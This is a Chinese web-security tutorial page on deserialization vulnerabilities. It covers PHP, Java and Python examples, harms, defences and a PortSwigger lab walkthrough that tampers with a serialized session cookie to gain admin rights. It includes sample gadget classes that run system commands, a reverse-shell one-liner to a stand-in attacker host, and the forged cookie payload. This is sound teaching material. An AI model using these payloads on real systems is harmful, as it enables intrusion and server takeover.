Web安全
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入【1】
07SQL 注入【2】
08SQL注入 Labs
08SQL注入速查表
09XSS
09跨站脚本攻击【XSS】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
API 安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL【1】
11GraphQL【2】
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
小程序
小程序抓包
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
-
+
首页
17反序列化漏洞
## 概述 反序列化漏洞(Deserialization Vulnerability)是一种因程序对 “不可信的序列化数据” 进行不安全反序列化操作而产生的高危漏洞。 其核心危害是:攻击者可构造恶意的序列化数据,诱导程序在反序列化过程中执行非预期的代码(如系统命令、恶意逻辑),从而控制目标系统。 ## 基础概念 要理解反序列化漏洞,需先明确两个基础操作:序列化与反序列化。 | 操作 | 定义 | 作用 | 常见格式 | | ------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | | **序列化** | 将内存中的对象(如类实例、数据结构)转换为可传输 / 存储的格式(如字节流、字符串) | 便于对象在网络传输、本地存储(如写入文件)后,仍能完整恢复原始状态 | Java 的`Serializable`、PHP 的`serialize()`、Python 的`pickle`、JSON(部分场景) | | **反序列化** | 将序列化后的格式(如字节流)恢复为内存中原始对象的过程 | 从传输 / 存储中还原对象,供程序继续使用 | Java 的`ObjectInputStream`、PHP 的`unserialize()`、Python 的`pickle.load()` | **序列化**是将复杂的数据结构(例如对象及其字段)转换为更“扁平”的格式的过程,以便可以作为顺序字节流发送和接收。 序列化数据可以更轻松地执行以下操作: - 将复杂数据写入进程间内存、文件或数据库 - 发送复杂数据,例如通过网络、应用程序的不同组件之间或在 API 调用中 至关重要的是,序列化对象时,其状态也会被持久化。换句话说,对象的属性及其赋值都会被保留。 **反序列化**是将此字节流还原为原始对象的完整副本的过程,其状态与序列化时完全相同。之后,网站的逻辑就可以与此反序列化的对象进行交互,就像与任何其他对象进行交互一样。  ## 示例 PHP 中的序列化(`serialize()`)与反序列化(`unserialize()`): ```php <?php // 定义一个测试类 class User { // 公共属性 public $name; protected $age; // 受保护属性(序列化时会带*前缀) private $email; // 私有属性(序列化时会带类名前缀) // 构造方法:初始化属性 public function __construct($name, $age, $email) { $this->name = $name; $this->age = $age; $this->email = $email; } // 魔术方法:反序列化时自动调用 public function __wakeup() { echo "触发 __wakeup() 方法(反序列化时执行)\n"; // 可以在这里添加一些反序列化后的逻辑(如数据验证) } // 魔术方法:对象被销毁时调用(脚本结束或unset()时) public function __destruct() { echo "触发 __destruct() 方法(对象被销毁)\n"; } } // 1. 创建对象 $user = new User("张三", 25, "zhangsan@example.com"); echo "==== 原始对象 ====\n"; var_dump($user); echo "\n"; // 2. 序列化对象:将对象转换为字符串 $serialized = serialize($user); echo "==== 序列化结果 ====\n"; echo $serialized . "\n\n"; // 3. 反序列化:将字符串恢复为对象 $unserialized = unserialize($serialized); echo "==== 反序列化后的对象 ====\n"; var_dump($unserialized); echo "\n"; // 4. 访问反序列化后对象的属性(公共属性可直接访问,受保护和私有属性需特殊处理) echo "反序列化后访问公共属性 name:" . $unserialized->name . "\n"; ?> ``` 输出结果: ```txt ==== 原始对象 ==== object(User)#1 (3) { ["name"]=> string(6) "张三" ["age":protected]=> int(25) ["email":"User":private]=> string(19) "zhangsan@example.com" } ==== 序列化结果 ==== O:4:"User":3:{s:4:"name";s:6:"张三";s:7:"*age";i:25;s:11:"Useremail";s:19:"zhangsan@example.com";} ==== 反序列化结果 ==== 触发 __wakeup() 方法(反序列化时执行) ==== 反序列化后的对象 ==== object(User)#2 (3) { ["name"]=> string(6) "张三" ["age":protected]=> int(25) ["email":"User":private]=> string(19) "zhangsan@example.com" } 反序列化后访问公共属性 name:张三 触发 __destruct() 方法(对象被销毁) 触发 __destruct() 方法(对象被销毁) ``` **序列化后的字符串结构解析** ```txt O:4:"User":3:{s:4:"name";s:6:"张三";s:7:"*age";i:25;s:11:"Useremail";s:19:"zhangsan@example.com";} ``` O:4:"User": 表示这是一个对象(Object),类名长度为 4,类名为User。 :3:: 表示对象包含 3 个属性。 {...}: 内部为属性的键值对,格式为类型:长度:"值";: s:4:"name";s:6:"张三": 第一个属性是字符串(string),属性名name长度 4,值张三长度 6。 s:7:"*age";i:25: 第二个属性是受保护属性(protected),属性名前加*,总长度 7;值是整数(int) 25。 s:11:"Useremail";s:19:"zhangsan@example.com": 第三个属性是私有属性(private),属性名前加类名User,总长度 11;值是字符串zhangsan@example.com(长度 19)。 ## 漏洞原理 反序列化漏洞的本质是:**程序对用户可控的序列化数据未进行安全校验,直接执行反序列化操作,而被反序列化的对象中包含攻击者预先植入的恶意逻辑**。 漏洞触发的核心链条: 1. **对象包含 “危险方法”**:许多编程语言中,对象在反序列化时会自动调用某些特殊方法(如 Java 的`readObject()`、PHP 的`__wakeup()`、Python 的`__reduce__()`),这些方法若包含逻辑操作(如文件读写、命令执行),就可能成为攻击入口。 2. **攻击者构造恶意对象**:攻击者创建包含恶意逻辑的对象(如在`readObject()`中写入`Runtime.exec("rm -rf /")`),并将其序列化,生成恶意的序列化数据。 3. **程序反序列化恶意数据**:程序接收攻击者提交的恶意序列化数据,未加验证直接反序列化,触发对象的特殊方法,执行其中的恶意逻辑。 ## 典型场景与示例 不同编程语言的反序列化机制不同,漏洞表现也有差异。 **1. Java 反序列化漏洞** Java 中,实现`Serializable`接口的类可被序列化,反序列化时会自动调用`readObject()`方法(若类中定义了该方法)。 假设存在一个包含危险`readObject()`的类: ```java import java.io.*; public class EvilObject implements Serializable { private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { // 反序列化时自动执行此方法 Runtime.getRuntime().exec("calc.exe"); // 弹出计算器(恶意操作) } } ``` 攻击者序列化`EvilObject`实例,生成恶意字节流,通过漏洞点提交给程序。程序若直接反序列化该数据: ```java // 危险代码:直接反序列化用户输入的数据 ObjectInputStream ois = new ObjectInputStream(userInputStream); ois.readObject(); // 反序列化时触发EvilObject的readObject(),执行calc.exe ``` 最终会执行`calc.exe`,若替换为`bash -i >& /dev/tcp/attacker/4444 0>&1`,可获取反向 shell。 **2. PHP 反序列化漏洞** PHP 中,`unserialize()`函数用于反序列化,反序列化时会自动调用类的`__wakeup()`(唤醒)、`__destruct()`(析构)等魔术方法。 存在一个包含危险`__wakeup()`的类: ```php class EvilClass { public function __wakeup() { // 反序列化时自动执行 system($_GET['cmd']); // 执行用户传入的命令(恶意操作) } } // 危险代码:直接反序列化用户输入 $userData = $_POST['data']; unserialize($userData); // 反序列化触发__wakeup() ``` 攻击者构造`EvilClass`的序列化数据(如`O:9:"EvilClass":0:{}`),并通过`data`参数提交,同时传入`cmd=ls`,即可执行`ls`命令。 **3. Python 反序列化漏洞** Python 的`pickle`模块用于序列化,反序列化(`pickle.load()`)时会执行对象的`__reduce__()`方法(该方法返回的元组会被当作指令执行)。 攻击者构造恶意的`pickle`数据,其中`__reduce__()`返回执行命令的逻辑: ```python import pickle import os class EvilPickle: def __reduce__(self): # 反序列化时执行此方法返回的指令 return (os.system, ('ls',)) # 执行ls命令 # 生成恶意序列化数据 malicious_data = pickle.dumps(EvilPickle()) # 危险代码:反序列化不可信数据 with open('malicious.pkl', 'wb') as f: f.write(malicious_data) # 程序加载并反序列化 with open('malicious.pkl', 'rb') as f: pickle.load(f) # 触发__reduce__(),执行ls命令 ``` ## 主要危害 反序列化漏洞是 “致命级” 漏洞,危害与代码执行漏洞相当,包括: - **远程代码执行**:执行任意系统命令(如删除文件、创建管理员账号),完全控制服务器; - **权限提升**:利用程序运行的高权限账号(如`root`、`Administrator`)执行敏感操作; - **数据泄露 / 破坏**:访问数据库配置、用户隐私数据,或删除核心业务数据; - **内网渗透**:以当前服务器为跳板,攻击内网其他设备(如通过命令扫描内网端口)。 ## 防护措施 反序列化漏洞的防护核心是:**严格限制反序列化的数据源和范围,避免不可信数据被反序列化**。 **禁止反序列化不可信数据** 最根本的防护:若业务无需接收用户提供的序列化数据,直接禁止相关功能;若必须使用,确保数据来源绝对可信(如仅允许内部服务间传输)。 **限制反序列化的类 / 类型** 通过 “白名单机制”,仅允许反序列化预先定义的安全类(如 Java 中使用`ObjectInputFilter`过滤允许的类),拒绝任何未在白名单中的类。 **使用安全的序列化格式** 避免使用语言原生的危险序列化机制(如 Java `Serializable`、PHP `serialize`、Python `pickle`),改用更安全的格式: - 数据交换优先使用 JSON、XML(需配合严格校验); - 若必须序列化对象,使用带签名的序列化格式(如对序列化数据进行加密 + 签名,反序列化前验证签名)。 **禁用危险的特殊方法** 对于自定义类,避免在`readObject()`、`__wakeup()`、`__reduce__()`等反序列化触发的方法中包含危险操作(如命令执行、文件读写)。 **更新依赖与补丁** 许多反序列化漏洞源于第三方库(如 Apache Commons Collections、Jackson),需及时更新这些库到安全版本,修复已知漏洞。 **部署安全工具** 通过 WAF 检测恶意序列化数据特征(如特定类名、危险方法签名);使用静态代码分析工具(如 SonarQube)检测代码中不安全的反序列化操作。 ## 实验 靶机地址:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects 任务:编辑会话 Cookie 中的序列化对象以利用此漏洞并获取管理权限。然后,删除该用户 `carlos`。 账户凭证:wiener:peter。 1、访问靶机,登录账户。  2、在当前页面,抓取数据包。  3、观察Cookie值,选中session值,burp会自动识别并进行解码。  4、再次验证。  ```txt O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;} ``` 初次观察并没有什么特殊值,再次观察到最后的b=0,数字0在布尔值中表示假,会不会 是这个值在控制权限呢,将数字0改为1尝试下。 5、改为1后进行base编码。  ```txt Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30= ``` 6、先将数据包发送到repeater模块中,再做更改。  发包成功,后台页面比原来多了一个管理面板功能。 7、点击管理面板,拦截数据包,持续更改Cookie中的session值。   8、点击删除,并持续更改Cookie中的session值。 
毛林
2025年9月9日 17:49
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码